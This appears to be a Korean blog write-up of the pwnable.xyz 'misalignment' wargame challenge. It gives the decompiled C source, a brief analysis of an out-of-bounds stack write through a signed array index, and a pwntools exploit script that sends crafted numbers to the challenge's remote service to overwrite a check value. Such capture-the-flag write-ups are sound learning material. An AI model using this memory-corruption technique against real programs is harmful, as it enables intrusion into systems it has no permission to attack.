Wargame

[pwnable.xyz] misalignment

_daeseong_ 2025. 2. 4. 03:41

소스코드

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 s[20]; // [rsp+10h] [rbp-A0h] BYREF

  s[19] = __readfsqword(0x28u);
  setup(argc, argv, envp);
  memset(s, 0, 0x98uLL);
  *(&s[1] + 7) = 0xDEADBEEFLL;
  while ( _isoc99_scanf("%ld %ld %ld", &s[4], &s[5], &s[6]) == 3 && s[6] <= 9 && s[6] >= -7 )
  {
    s[s[6] + 7] = s[4] + s[5];
    printf("Result: %ld\n", s[s[6] + 7]);
  }
  if ( *(&s[1] + 7) == 0xB000000B5LL )
    win();
  return 0;
}

분석

*(s[1] + 7) 의 값이 0 xB000000B5이면 플래그를 준다. 그런데 문제 이름처럼 8바이트 스택 정렬이 안 돼 어이 있어서

2번 나눠서 보내줘야 한다.

 

exp.py

from pwn import *
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30003)
a, b = (x := 0xb500000000000000) // 2, x - x // 2
p.sendline(str(a).encode()+b" "+str(b).encode()+b" "+b"-6")
a, b = (x := 0xB000000) // 2, x - x // 2
p.sendline(str(a).encode()+b" "+str(b).encode()+b" "+b"-5")
p.sendline(b"GET flag!")
p.interactive()